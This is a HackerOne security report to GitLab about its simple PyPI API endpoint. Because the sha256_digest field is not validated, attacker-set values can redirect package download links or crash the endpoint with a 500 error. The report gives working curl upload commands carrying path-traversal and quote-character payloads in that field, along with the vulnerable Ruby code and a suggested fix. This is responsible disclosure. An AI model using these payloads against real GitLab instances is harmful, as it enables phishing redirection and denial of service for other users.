Forging GET Requests through and Denying Service of Simple PyPi API Endpoint
HackerOne report #996850 by iwis
on 2020-10-03, assigned to @ankelly:
Report
Summary
The simple PyPi API endpoint of GitLab is vulnerable to stored XSS and DoS through the sha256_digest
parameter of package files. This allows an attacker to forge GET
requests within the domain of gitlab.com
or a self-hosted GitLab instance on the behalf of a victim and deny the service of said simple PyPi API endpoint to users. This vulnerability applies to both, gitlab.com
and self-hosted GitLab instances and requires user interaction (i.e, a single click).
Steps to reproduce
-
Create a new project or refer to an existing project with the package registry enabled (by default, the package registry is enabled).
-
Create a PyPi package by uploading a package file through GitLab's API:
curl -v "https://__token__:$PAT@gitlab.com/api/v4/projects/$PROJECT/packages/pypi" -F content='@/tmp/help' -F requires_python=3.8 -F version=1 -F name='totally_innocent_package' -F sha256_digest='../../../../../../..'
with
$PAT
being your personal access token and$PROJECT
being the ID of the targeted project. -
Visit:
https://gitlab.com/api/v4/projects/21471488/packages/pypi/simple/totally_innocent_package
. -
Click on the link
help
. -
Observe being redirected to
gitlab.com/help
.
Note: the project I use in this example is only visible to me, please let me know if you want me to change that.
Impact
This vulnerability can mislead a user to think that they download a package file by clicking on its link, whereas they will be directed to another resource on the same domain. Especially with self-hosted GitLab instances on a relative URL (e.g., example.com/gitlab
), the attacker can route the victim to a malicious, possibly attacker-controlled, resource (e.g., a phishing website). Secondly, injecting unallowed characters into the URL's path leads to a status code 500
on the simple PyPi API endpoint, effectively denying service for users (refer to an example of that below).
Examples
The exemplary project in the reproduction steps illustrates how to route a victim to another resource. I have verified that these steps also apply to a self-hosted GitLab instance with the latest version of GitLab, i.e., 13.4.2.
Denial of Service
-
Create a package file through GitLab's API:
curl -v "https://__token__:$PAT@gitlab.com/api/v4/projects/$PROJECT/packages/pypi" -F content='@/tmp/denial-of-service' -F requires_python=3.8 -F version=1 -F name='totally_innocent_package' -F sha256_digest='"'
with
$PAT
being your personal access token and$PROJECT
being the ID of the targeted project. -
Visit:
https://gitlab.com/api/v4/projects/21471488/packages/pypi/simple/totally_innocent_package
. -
Observe the response being
{"message":"500 Internal Server Error"}
.
Note: it is still possible to download the package files through https://gitlab.com/dpfuerst/xss-through-pypi-repository/-/packages/562993
.
What is the current bug behavior?
Uploading a file to GitLab via
curl -v "https://__token__:$PAT@gitlab.com/api/v4/projects/$PROJECT/packages/pypi" -F content='@/tmp/help' -F requires_python=3.8 -F version=1 -F name='totally_innocent_package' -F sha256_digest='../../../../../../..'
triggers the PyPi Package upload endpoint:
desc 'The PyPi Package upload endpoint' do
detail 'This feature was introduced in GitLab 12.10'
end
params do
requires :content, type: ::API::Validations::Types::WorkhorseFile, desc: 'The package file to be published (generated by Multipart middleware)'
requires :requires_python, type: String
requires :name, type: String
requires :version, type: String
optional :md5_digest, type: String
optional :sha256_digest, type: String
end
route_setting :authentication, deploy_token_allowed: true, basic_auth_personal_access_token: true, job_token_allowed: :basic_auth
post do
authorize_upload!(authorized_user_project)
bad_request!('File is too large') if authorized_user_project.actual_limits.exceeded?(:pypi_max_file_size, params[:content].size)
track_package_event('push_package', :pypi)
::Packages::Pypi::CreatePackageService
.new(authorized_user_project, current_user, declared_params)
.execute
created!
rescue ObjectStorage::RemoteStoreError => e
Gitlab::ErrorTracking.track_exception(e, extra: { file_name: params[:name], project_id: authorized_user_project.id })
forbidden!
end
and allows submitting an optional parameter sha256_digest
that is not subject to any validation. In turn, the package presenter for PyPi packages takes the sha256_digest
and builds the href
attribute of the package file links without any validation:
def build_pypi_package_path(file)
expose_url(
api_v4_projects_packages_pypi_files_file_identifier_path(
{
id: [@]project.id,
sha256: file.file_sha256,
file_identifier: file.file_name
},
true
)
) + "#sha256=#{file.file_sha256}"
end
If sha256_digest
contains characters that are not valid in the context of an absolute path as defined in RFC 3986, expose_url
will fail due to URI::Generic.build
rejecting the invalid absolute path:
{
"time": "2020-10-03T00:11:48.302Z",
"severity": "INFO",
"duration_s": 0.0208,
"db_duration_s": 0.00359,
"view_duration_s": 0.01721,
"status": 500,
"method": "GET",
"path": "/api/v4/projects/[REDACTED]/packages/pypi/simple/totally_innocent_package",
"params": [],
"host": "[REDACTED]",
"remote_ip": "[REDACTED]",
"ua": "[REDACTED]",
"route": "/api/:version/projects/:id/packages/pypi/simple/*package_name",
"user_id": [REDACTED],
"username": "[REDACTED]",
"exception.class": "URI::InvalidComponentError",
"exception.message": "bad component(expected absolute path component): /api/v4/projects/[REDACTED]/packages/pypi/files/\"/denial-of-service",
"exception.backtrace": [
"lib/api/helpers/related_resources_helpers.rb:29:in `expose_url'",
"app/presenters/packages/pypi/package_presenter.rb:54:in `build_pypi_package_path'",
"app/presenters/packages/pypi/package_presenter.rb:40:in `block (2 levels) in links'",
"app/presenters/packages/pypi/package_presenter.rb:39:in `block in links'",
"app/presenters/packages/pypi/package_presenter.rb:38:in `map'",
"app/presenters/packages/pypi/package_presenter.rb:38:in `links'",
"app/presenters/packages/pypi/package_presenter.rb:27:in `body'",
"lib/api/pypi_packages.rb:104:in `block (3 levels) in <class:PypiPackages>'",
"ee/lib/gitlab/middleware/ip_restrictor.rb:14:in `block in call'",
"ee/lib/gitlab/ip_address_state.rb:10:in `with'",
"ee/lib/gitlab/middleware/ip_restrictor.rb:13:in `call'",
"lib/gitlab/request_profiler/middleware.rb:17:in `call'",
"lib/gitlab/jira/middleware.rb:19:in `call'",
"lib/gitlab/middleware/go.rb:20:in `call'",
"lib/gitlab/etag_caching/middleware.rb:13:in `call'",
"lib/gitlab/middleware/multipart.rb:217:in `call'",
"lib/gitlab/middleware/read_only/controller.rb:51:in `call'",
"lib/gitlab/middleware/read_only.rb:18:in `call'",
"lib/gitlab/middleware/same_site_cookies.rb:27:in `call'",
"lib/gitlab/middleware/basic_health_check.rb:25:in `call'",
"lib/gitlab/middleware/handle_ip_spoof_attack_error.rb:25:in `call'",
"lib/gitlab/middleware/request_context.rb:23:in `call'",
"config/initializers/fix_local_cache_middleware.rb:9:in `call'",
"lib/gitlab/metrics/requests_rack_middleware.rb:60:in `call'",
"lib/gitlab/middleware/release_env.rb:12:in `call'"
],
"queue_duration_s": 0.004383,
"redis_calls": 1,
"redis_duration_s": 0.000169,
"redis_read_bytes": 331,
"redis_write_bytes": 870,
"redis_shared_state_calls": 1,
"redis_shared_state_duration_s": 0.000169,
"redis_shared_state_read_bytes": 331,
"redis_shared_state_write_bytes": 870,
"correlation_id": "[REDACTED]",
"meta.user": "[REDACTED]",
"meta.caller_id": "/api/:version/projects/:id/packages/pypi/simple/*package_name"
}
What is the expected correct behavior?
Uploading a file to GitLab via
curl -v "https://__token__:$PAT@gitlab.com/api/v4/projects/$PROJECT/packages/pypi" -F content='@/tmp/help' -F requires_python=3.8 -F version=1 -F name='totally_innocent_package' -F sha256_digest='../../../../../../..'
should restrict the value that sha256_digest
can take to
SHA256_REGEX = /\A[0-9a-f]{64}\z/i.freeze
and provide a corresponding error in the case of a violation.
Note: the same probably applies to the optional parameter md5_digest
, although I believe that the lack of a restriction does currently not pose a vulnerability.
Relevant logs and/or screenshots
N/A
Output of checks
This bug happens on gitlab.com
and self-hosted GitLab instances.
Results of GitLab environment info
System information
System: Ubuntu 16.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.6.6p146
Gem Version: 2.7.10
Bundler Version:1.17.3
Rake Version: 12.3.3
Redis Version: 5.0.9
Git Version: 2.28.0
Sidekiq Version:5.2.9
Go Version: unknown
GitLab information
Version: 13.4.2-ee
Revision: 34869f45ee8
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 11.7
URL: [REDACTED]
HTTP Clone URL: [REDACTED]
SSH Clone URL: [REDACTED]
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.7.0
Repository storage paths:
- default: [REDACTED]
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
This vulnerability can mislead a user to think that they download a package file by clicking on its link, whereas they will be directed to another resource on the same domain. Especially with self-hosted GitLab instances on a relative URL (e.g., example.com/gitlab
), the attacker can route the victim to a malicious, possibly attacker-controlled, resource (e.g., a phishing website). Secondly, injecting unallowed characters into the URL's path leads to a status code 500
on the simple PyPi API endpoint, effectively denying service for users.